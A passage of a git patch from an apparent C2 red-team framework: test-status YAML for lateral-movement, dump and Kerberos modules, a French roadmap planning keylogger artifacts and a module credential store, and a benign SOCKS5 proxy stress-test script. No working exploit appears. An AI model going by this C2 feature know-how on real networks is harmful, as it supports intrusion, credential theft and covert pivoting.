tool/runtime setup is not available in the current lab." + notes: "Keep as blocked until a suitable chisel.exe artifact and network validation setup are available." + + - id: MODULE-COFFLOADER-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no known-good COFF test artifact is available in the current lab." + notes: "Keep as blocked until a controlled COFF artifact is added under Tools/Windows/x64." + + - id: MODULE-KERBEROSUSETICKET-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because there is no Kerberos lab context/ticket setup for a meaningful functional validation." + notes: "Requires a controlled .kirbi ticket and domain/lab context." + + - id: MODULE-MINIDUMP-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the current lab does not have the intended elevated/safe dump validation setup." + notes: "Requires an explicit safe target/process and artifact verification path before marking pass." + + - id: MODULE-PSEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows target/service-execution lab setup is available." + notes: "Requires a controlled remote host, credentials, and service executable artifact." + + - id: MODULE-REVERSEPORTFORWARD-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the current lab does not have the desired live forwarding setup available." + notes: "Requires a controlled local service and remote beacon-side connectivity check." + + - id: MODULE-CIMEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows execution lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-DCOMEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows execution lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-SSHEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no controlled SSH execution target is available." + notes: "Part of the remote execution module group." + + - id: MODULE-WINRM-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no WinRM-enabled remote Windows lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-WMIEXEC-CONTRACT-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because no remote Windows execution lab target is available." + notes: "Part of the Windows remote execution module group." + + - id: MODULE-WINDOWS-EXEC-001 + status: blocked + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Deferred during module stabilization because the remote execution lab setup is not available." + notes: "Group remains blocked until cimExec, dcomExec, sshExec, winRm, and wmiExec can be validated against controlled targets." + + - id: TEAMSERVER-SOCKS-SERVICE-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "Terminal SOCKS lifecycle validated: bind before start returned Socks server not running; start succeeded on port 1080; duplicate start returned already running; bind succeeded for beacon iON5Ki2e; duplicate bind returned already bind; unbind succeeded; stop succeeded; restart and rebind also succeeded. End-to-end traffic validated with curl --socks5 127.0.0.1:1080 http://example.com/ -I returning HTTP/1.1 200 OK. After socks unbind and socks stop, curl against 127.0.0.1:1080 failed with curl: (7) Couldn't connect to server." + notes: "Covers TeamServer SOCKS service lifecycle, terminal error handling, bind/rebind behavior, live proxied HTTP traffic through the bound beacon, and shutdown behavior." From b438b6b74ec4851f53ea631a451f5360f66f7d3e Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Sat, 9 May 2026 15:12:42 +0200 Subject: [PATCH 65/82] manual test --- C2Client/TODO.md | 30 +- docs/TEST_MATRIX.md | 1 + docs/TEST_STATE.md | 8 +- docs/testing/manual-results.yaml | 8 + docs/testing/test-catalog.yaml | 11 + scripts/socks5_stress_test.py | 594 +++++++++++++++++++++++++++++++ 6 files changed, 634 insertions(+), 18 deletions(-) create mode 100644 scripts/socks5_stress_test.py diff --git a/C2Client/TODO.md b/C2Client/TODO.md index d147124..f972459 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -22,18 +22,20 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | | 16 | [ ] | Reduire la taille des artefacts `screenShot` | M | Moyen | Test reel: `desktop.bmp` genere environ 42 MB. Etudier PNG/JPEG cote module ou conversion TeamServer, option format/qualite, conservation du hash/sidecar et affichage clair dans `Artifacts`. | -| 17 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | -| 18 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 19 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | -| 20 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | -| 21 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | -| 22 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | -| 23 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | -| 24 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | -| 25 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | -| 26 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | -| 27 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | -| 28 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 17 | [ ] | Auditer `libSocks5` | M | Fort | Revue protocolaire et qualite d'implementation: handshake, `ATYP` supportes, erreurs SOCKS explicites, timeouts, fermeture sockets, concurrence, limites buffers, logs bruyants, tests IPv4/hostname/stress et risques de deadlock/EOF silencieux. | +| 18 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | +| 19 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | +| 20 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | +| 21 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | +| 22 | [ ] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Accepter `ATYP=DName` dans `libSocks5`, transporter une destination typee TeamServer -> beacon, resoudre/connecter depuis le contexte beacon, garder IPv4 compatible, ajouter tests hostname/stress avec `scripts/socks5_stress_test.py --socks-hostname` et erreurs propres au lieu d'un EOF silencieux. | +| 23 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 24 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 25 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | +| 26 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 27 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 28 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 29 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 30 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | ## Details `.env` @@ -90,5 +92,5 @@ C2_SHELLCODE_MODULES_DIR= 1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. 2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. -3. Phase 3: items 18 a 22. Contrat client-server propre pour capabilities, commandes, erreurs et artefacts generes par flux. -4. Phase 4: items 23 a 28. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. +3. Phase 3: items 17 a 24. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. +4. Phase 4: items 25 a 30. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index 806f957..4a54115 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -112,6 +112,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | pass | | pass | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | pass | | pass | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | pass | +| pass | manual | high | `TEAMSERVER-SOCKS-STRESS-001` | TeamServer | SOCKS stress | teamserver | n/a | any | n/a | n/a | pass | | partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | | pass | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 2592cd5..323c96c 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -2,7 +2,7 @@ _Generated by `scripts/generate-test-state.py`._ -- Catalog entries: `113` +- Catalog entries: `114` - Auto results: `build/test-results/auto-results.json` - Manual results: `docs/testing/manual-results.yaml` @@ -10,7 +10,7 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 78 | +| pass | 79 | | fail | 0 | | blocked | 14 | | partial | 17 | @@ -22,7 +22,7 @@ _Generated by `scripts/generate-test-state.py`._ | Mode | Count | |---|---:| | auto | 6 | -| manual | 5 | +| manual | 6 | | auto+manual | 100 | | planned | 2 | @@ -37,7 +37,7 @@ _Generated by `scripts/generate-test-state.py`._ | Listeners | 2 | 0 | 1 | 2 | 1 | 0 | 6 | | Modules | 39 | 0 | 12 | 0 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | -| TeamServer | 10 | 0 | 0 | 2 | 0 | 0 | 12 | +| TeamServer | 11 | 0 | 0 | 2 | 0 | 0 | 13 | | Validation | 3 | 0 | 0 | 0 | 0 | 0 | 3 | ## Critical Non-Pass diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 1f25634..17549c3 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -720,3 +720,11 @@ results: tester: "max" evidence: "Terminal SOCKS lifecycle validated: bind before start returned Socks server not running; start succeeded on port 1080; duplicate start returned already running; bind succeeded for beacon iON5Ki2e; duplicate bind returned already bind; unbind succeeded; stop succeeded; restart and rebind also succeeded. End-to-end traffic validated with curl --socks5 127.0.0.1:1080 http://example.com/ -I returning HTTP/1.1 200 OK. After socks unbind and socks stop, curl against 127.0.0.1:1080 failed with curl: (7) Couldn't connect to server." notes: "Covers TeamServer SOCKS service lifecycle, terminal error handling, bind/rebind behavior, live proxied HTTP traffic through the bound beacon, and shutdown behavior." + + - id: TEAMSERVER-SOCKS-STRESS-001 + status: pass + date: "2026-05-09" + build: "local-dev" + tester: "max" + evidence: "scripts/socks5_stress_test.py --proxy-host 127.0.0.1 --proxy-port 1080 --url http://example.com/ --requests 300 --concurrency 25 --timeout 15 --expect-status 200 completed with 300 passed, 0 failed, HTTP 200:300, elapsed 9.46s, throughput 31.72 req/s, p50 775.9ms, p95 926.4ms, p99 1105.3ms." + notes: "The stress tool resolves the target hostname locally to IPv4 by default because the current TeamServer SOCKS path supports IPv4 CONNECT but not SOCKS domain-name CONNECT." diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml index 50b3a18..71dc3a5 100644 --- a/docs/testing/test-catalog.yaml +++ b/docs/testing/test-catalog.yaml @@ -402,6 +402,17 @@ entries: auto: ["teamServer/tests/TeamServerSocksServiceTests.cpp"] manual: ["Run terminal socks start/list/stop against a live beacon route."] + - id: TEAMSERVER-SOCKS-STRESS-001 + area: TeamServer + feature: SOCKS stress + scenario: "Sustain concurrent SOCKS5 HTTP(S) requests through a bound live beacon and report latency/error distribution." + priority: high + validation: manual + axes: {os: teamserver, arch: n/a, listener: any, artifact_category: n/a} + evidence: + auto: [] + manual: ["Run scripts/socks5_stress_test.py against a live socks start/bind route with a fixed request/concurrency target."] + - id: BEACON-CORE-REGISTER-001 area: Beacon feature: Registration and metadata diff --git a/scripts/socks5_stress_test.py b/scripts/socks5_stress_test.py new file mode 100644 index 0000000..94d3be6 --- /dev/null +++ b/scripts/socks5_stress_test.py @@ -0,0 +1,594 @@ +#!/usr/bin/env python3 +"""Concurrent SOCKS5 validation helper for a live TeamServer SOCKS route.""" + +from __future__ import annotations + +import argparse +import concurrent.futures +import dataclasses +import http.server +import select +import socket +import ssl +import statistics +import sys +import threading +import time +import urllib.parse +from collections import Counter +from typing import Iterable + + +DEFAULT_URL = "http://example.com/" + + +@dataclasses.dataclass(frozen=True) +class StressConfig: + proxy_host: str + proxy_port: int + url: str + scheme: str + target_host: str + target_port: int + socks_host: str + path: str + host_header: str + method: str + requests: int + concurrency: int + timeout: float + expect_statuses: frozenset[int] + read_limit: int + progress_every: int + quiet: bool + + +@dataclasses.dataclass(frozen=True) +class RequestResult: + ok: bool + index: int + latency_ms: float + status: int | None = None + bytes_read: int = 0 + error: str = "" + + +def _port(value: str) -> int: + try: + port = int(value) + except ValueError as exc: + raise argparse.ArgumentTypeError("port must be an integer") from exc + if port <= 0 or port > 65535: + raise argparse.ArgumentTypeError("port must be between 1 and 65535") + return port + + +def _positive_int(value: str) -> int: + try: + parsed = int(value) + except ValueError as exc: + raise argparse.ArgumentTypeError("value must be an integer") from exc + if parsed <= 0: + raise argparse.ArgumentTypeError("value must be positive") + return parsed + + +def _positive_float(value: str) -> float: + try: + parsed = float(value) + except ValueError as exc: + raise argparse.ArgumentTypeError("value must be a number") from exc + if parsed <= 0: + raise argparse.ArgumentTypeError("value must be positive") + return parsed + + +def _parse_expected_statuses(values: list[str] | None, no_status_check: bool) -> frozenset[int]: + if no_status_check: + return frozenset() + if not values: + return frozenset({200}) + + statuses: set[int] = set() + for value in values: + for part in value.split(","): + part = part.strip() + if not part: + continue + try: + status = int(part) + except ValueError as exc: + raise argparse.ArgumentTypeError(f"invalid HTTP status: {part}") from exc + if status < 100 or status > 599: + raise argparse.ArgumentTypeError(f"invalid HTTP status: {status}") + statuses.add(status) + return frozenset(statuses) + + +def _parse_url(url: str) -> tuple[str, str, int, str]: + parsed = urllib.parse.urlparse(url) + if parsed.scheme not in {"http", "https"}: + raise argparse.ArgumentTypeError("url scheme must be http or https") + if not parsed.hostname: + raise argparse.ArgumentTypeError("url must include a host") + + port = parsed.port + if port is None: + port = 443 if parsed.scheme == "https" else 80 + + path = parsed.path or "/" + if parsed.query: + path += "?" + parsed.query + return parsed.scheme, parsed.hostname, port, path + + +def _host_header(host: str, port: int, scheme: str) -> str: + default_port = 443 if scheme == "https" else 80 + if ":" in host and not host.startswith("["): + host_text = f"[{host}]" + else: + host_text = host + if port == default_port: + return host_text + return f"{host_text}:{port}" + + +def _recv_exact(sock: socket.socket, size: int, context: str = "") -> bytes: + data = bytearray() + while len(data) < size: + chunk = sock.recv(size - len(data)) + if not chunk: + suffix = f" while reading {context}" if context else "" + raise RuntimeError(f"unexpected EOF{suffix}") + data.extend(chunk) + return bytes(data) + + +def _resolve_ipv4(host: str, port: int) -> str: + try: + socket.inet_pton(socket.AF_INET, host) + return host + except OSError: + pass + + infos = socket.getaddrinfo(host, port, socket.AF_INET, socket.SOCK_STREAM) + if not infos: + raise RuntimeError(f"could not resolve IPv4 address for {host}") + return str(infos[0][4][0]) + + +def _socks_address(host: str) -> bytes: + try: + return b"\x01" + socket.inet_pton(socket.AF_INET, host) + except OSError: + pass + + try: + return b"\x04" + socket.inet_pton(socket.AF_INET6, host) + except OSError: + pass + + encoded = host.encode("idna") + if len(encoded) > 255: + raise RuntimeError("target host is too long for SOCKS5 domain encoding") + return b"\x03" + bytes([len(encoded)]) + encoded + + +def _read_socks_reply(sock: socket.socket) -> None: + header = _recv_exact(sock, 4, "SOCKS CONNECT reply header") + if header[0] != 5: + raise RuntimeError(f"invalid SOCKS version in reply: {header[0]}") + reply_code = header[1] + atyp = header[3] + + if atyp == 1: + _recv_exact(sock, 4, "SOCKS IPv4 bind address") + elif atyp == 3: + length = _recv_exact(sock, 1, "SOCKS domain length")[0] + _recv_exact(sock, length, "SOCKS domain bind address") + elif atyp == 4: + _recv_exact(sock, 16, "SOCKS IPv6 bind address") + else: + raise RuntimeError(f"invalid SOCKS address type in reply: {atyp}") + _recv_exact(sock, 2, "SOCKS bind port") + + if reply_code != 0: + raise RuntimeError(f"SOCKS CONNECT failed with reply 0x{reply_code:02x}") + + +def _connect_via_socks(config: StressConfig) -> socket.socket: + sock = socket.create_connection((config.proxy_host, config.proxy_port), timeout=config.timeout) + sock.settimeout(config.timeout) + try: + sock.sendall(b"\x05\x01\x00") + greeting = _recv_exact(sock, 2, "SOCKS method selection") + if greeting != b"\x05\x00": + raise RuntimeError(f"SOCKS no-auth negotiation failed: {greeting.hex()}") + + request = ( + b"\x05\x01\x00" + + _socks_address(config.socks_host) + + config.target_port.to_bytes(2, byteorder="big") + ) + sock.sendall(request) + _read_socks_reply(sock) + + if config.scheme == "https": + context = ssl.create_default_context() + sock = context.wrap_socket(sock, server_hostname=config.target_host) + sock.settimeout(config.timeout) + return sock + except Exception: + sock.close() + raise + + +def _build_http_request(config: StressConfig) -> bytes: + lines = [ + f"{config.method} {config.path} HTTP/1.1", + f"Host: {config.host_header}", + "User-Agent: c2-socks-stress/1.0", + "Accept: */*", + "Connection: close", + "", + "", + ] + return "\r\n".join(lines).encode("ascii") + + +def _read_http_response(sock: socket.socket, read_limit: int) -> bytes: + response = bytearray() + while len(response) < read_limit: + chunk = sock.recv(min(8192, read_limit - len(response))) + if not chunk: + break + response.extend(chunk) + if b"\r\n\r\n" in response: + break + return bytes(response) + + +def _status_from_response(response: bytes) -> int | None: + first_line = response.split(b"\r\n", 1)[0] + parts = first_line.split() + if len(parts) < 2: + return None + try: + return int(parts[1]) + except ValueError: + return None + + +def run_one(index: int, config: StressConfig) -> RequestResult: + started = time.monotonic() + sock: socket.socket | None = None + try: + sock = _connect_via_socks(config) + sock.sendall(_build_http_request(config)) + response = _read_http_response(sock, config.read_limit) + status = _status_from_response(response) + if status is None: + raise RuntimeError("HTTP response status could not be parsed") + if config.expect_statuses and status not in config.expect_statuses: + expected = ",".join(str(value) for value in sorted(config.expect_statuses)) + raise RuntimeError(f"unexpected HTTP status {status}, expected {expected}") + + elapsed_ms = (time.monotonic() - started) * 1000.0 + return RequestResult(True, index, elapsed_ms, status=status, bytes_read=len(response)) + except Exception as exc: + elapsed_ms = (time.monotonic() - started) * 1000.0 + return RequestResult(False, index, elapsed_ms, error=str(exc)) + finally: + if sock is not None: + try: + sock.close() + except OSError: + pass + + +def _percentile(values: list[float], percentile: float) -> float: + if not values: + return 0.0 + if len(values) == 1: + return values[0] + ordered = sorted(values) + rank = (len(ordered) - 1) * percentile + lower = int(rank) + upper = min(lower + 1, len(ordered) - 1) + weight = rank - lower + return ordered[lower] * (1.0 - weight) + ordered[upper] * weight + + +def _summarize(results: list[RequestResult], elapsed_s: float) -> bool: + successes = [result for result in results if result.ok] + failures = [result for result in results if not result.ok] + latencies = [result.latency_ms for result in successes] + status_counts = Counter(result.status for result in successes) + error_counts = Counter(result.error for result in failures) + + print("\nSOCKS5 stress summary") + print(f" total: {len(results)}") + print(f" passed: {len(successes)}") + print(f" failed: {len(failures)}") + print(f" elapsed: {elapsed_s:.2f}s") + if elapsed_s > 0: + print(f" throughput: {len(results) / elapsed_s:.2f} req/s") + if status_counts: + statuses = ", ".join(f"{status}:{count}" for status, count in sorted(status_counts.items())) + print(f" statuses: {statuses}") + if latencies: + print( + " latency: " + f"min={min(latencies):.1f}ms " + f"p50={statistics.median(latencies):.1f}ms " + f"p95={_percentile(latencies, 0.95):.1f}ms " + f"p99={_percentile(latencies, 0.99):.1f}ms " + f"max={max(latencies):.1f}ms" + ) + if error_counts: + print(" errors:") + for error, count in error_counts.most_common(10): + print(f" {count}x {error}") + + return not failures + + +def run_stress(config: StressConfig) -> bool: + if not config.quiet: + expected = "any" if not config.expect_statuses else ",".join(str(v) for v in sorted(config.expect_statuses)) + print( + "SOCKS5 stress: " + f"proxy={config.proxy_host}:{config.proxy_port} " + f"url={config.url} " + f"socks_target={config.socks_host}:{config.target_port} " + f"requests={config.requests} " + f"concurrency={config.concurrency} " + f"method={config.method} " + f"expect={expected}" + ) + + started = time.monotonic() + results: list[RequestResult] = [] + completed = 0 + + with concurrent.futures.ThreadPoolExecutor(max_workers=config.concurrency) as executor: + futures = [executor.submit(run_one, index, config) for index in range(config.requests)] + for future in concurrent.futures.as_completed(futures): + result = future.result() + results.append(result) + completed += 1 + if ( + not config.quiet + and config.progress_every > 0 + and (completed % config.progress_every == 0 or completed == config.requests) + ): + failures = sum(1 for item in results if not item.ok) + print(f" progress: {completed}/{config.requests}, failures={failures}") + + elapsed_s = time.monotonic() - started + return _summarize(results, elapsed_s) + + +class _SelfTestHandler(http.server.BaseHTTPRequestHandler): + protocol_version = "HTTP/1.1" + + def do_HEAD(self) -> None: # noqa: N802 - stdlib hook name + self.send_response(200) + self.send_header("Content-Length", "0") + self.end_headers() + + def do_GET(self) -> None: # noqa: N802 - stdlib hook name + body = b"c2-socks-self-test\n" + self.send_response(200) + self.send_header("Content-Type", "text/plain") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, _format: str, *_args: object) -> None: + return + + +class _MiniSocksProxy: + def __init__(self) -> None: + self._stop = threading.Event() + self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._server.bind(("127.0.0.1", 0)) + self._server.listen(128) + self._server.settimeout(0.2) + self.port = int(self._server.getsockname()[1]) + self._thread = threading.Thread(target=self._serve, daemon=True) + self._handlers: list[threading.Thread] = [] + + def start(self) -> None: + self._thread.start() + + def stop(self) -> None: + self._stop.set() + try: + self._server.close() + except OSError: + pass + self._thread.join(timeout=2.0) + for handler in self._handlers: + handler.join(timeout=0.2) + + def _serve(self) -> None: + while not self._stop.is_set(): + try: + client, _addr = self._server.accept() + except socket.timeout: + continue + except OSError: + break + handler = threading.Thread(target=self._handle_client, args=(client,), daemon=True) + self._handlers.append(handler) + handler.start() + + def _handle_client(self, client: socket.socket) -> None: + upstream: socket.socket | None = None + try: + client.settimeout(5.0) + greeting = _recv_exact(client, 2) + if greeting[0] != 5: + return + methods = _recv_exact(client, greeting[1]) + if 0 not in methods: + client.sendall(b"\x05\xff") + return + client.sendall(b"\x05\x00") + + header = _recv_exact(client, 4) + if header[:3] != b"\x05\x01\x00": + return + host = self._read_request_host(client, header[3]) + port = int.from_bytes(_recv_exact(client, 2), byteorder="big") + upstream = socket.create_connection((host, port), timeout=5.0) + client.sendall(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00") + self._pipe(client, upstream) + except OSError: + return + finally: + try: + client.close() + except OSError: + pass + if upstream is not None: + try: + upstream.close() + except OSError: + pass + + @staticmethod + def _read_request_host(client: socket.socket, atyp: int) -> str: + if atyp == 1: + return socket.inet_ntop(socket.AF_INET, _recv_exact(client, 4)) + if atyp == 3: + length = _recv_exact(client, 1)[0] + return _recv_exact(client, length).decode("idna") + if atyp == 4: + return socket.inet_ntop(socket.AF_INET6, _recv_exact(client, 16)) + raise OSError(f"unsupported address type {atyp}") + + def _pipe(self, client: socket.socket, upstream: socket.socket) -> None: + sockets = [client, upstream] + for sock in sockets: + sock.setblocking(False) + while not self._stop.is_set(): + readable, _, exceptional = select.select(sockets, [], sockets, 0.2) + if exceptional: + return + for source in readable: + try: + data = source.recv(65536) + except BlockingIOError: + continue + if not data: + return + target = upstream if source is client else client + target.sendall(data) + + +def run_self_test() -> int: + httpd = http.server.ThreadingHTTPServer(("127.0.0.1", 0), _SelfTestHandler) + http_thread = threading.Thread(target=httpd.serve_forever, daemon=True) + proxy = _MiniSocksProxy() + + try: + http_thread.start() + proxy.start() + http_port = int(httpd.server_address[1]) + config = StressConfig( + proxy_host="127.0.0.1", + proxy_port=proxy.port, + url=f"http://127.0.0.1:{http_port}/", + scheme="http", + target_host="127.0.0.1", + target_port=http_port, + socks_host="127.0.0.1", + path="/", + host_header=f"127.0.0.1:{http_port}", + method="HEAD", + requests=24, + concurrency=6, + timeout=3.0, + expect_statuses=frozenset({200}), + read_limit=8192, + progress_every=12, + quiet=False, + ) + if not run_stress(config): + return 1 + print("self-test passed") + return 0 + finally: + proxy.stop() + httpd.shutdown() + httpd.server_close() + + +def parse_args(argv: Iterable[str]) -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Stress-test a SOCKS5 endpoint with concurrent HTTP(S) requests.", + ) + parser.add_argument("--self-test", action="store_true", help="Run an in-process HTTP+SOCKS self-test.") + parser.add_argument("--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host.") + parser.add_argument("--proxy-port", default=1080, type=_port, help="SOCKS5 proxy port.") + parser.add_argument("--url", default=DEFAULT_URL, help="HTTP(S) URL to request through the proxy.") + parser.add_argument( + "--socks-hostname", + action="store_true", + help="Send the URL hostname to SOCKS instead of resolving it locally to IPv4. The current TeamServer SOCKS path only supports IPv4.", + ) + parser.add_argument("--method", choices=("HEAD", "GET"), default="HEAD", help="HTTP method to send.") + parser.add_argument("--requests", default=100, type=_positive_int, help="Total request count.") + parser.add_argument("--concurrency", default=10, type=_positive_int, help="Concurrent worker count.") + parser.add_argument("--timeout", default=8.0, type=_positive_float, help="Per-request timeout in seconds.") + parser.add_argument( + "--expect-status", + action="append", + help="Expected HTTP status. Can be repeated or comma-separated. Defaults to 200.", + ) + parser.add_argument("--no-status-check", action="store_true", help="Accept any parseable HTTP status.") + parser.add_argument("--read-limit", default=65536, type=_positive_int, help="Maximum bytes to read per response.") + parser.add_argument("--progress-every", default=25, type=int, help="Print progress every N completions; 0 disables.") + parser.add_argument("--quiet", action="store_true", help="Suppress progress output.") + return parser.parse_args(list(argv)) + + +def config_from_args(args: argparse.Namespace) -> StressConfig: + scheme, target_host, target_port, path = _parse_url(args.url) + socks_host = target_host if 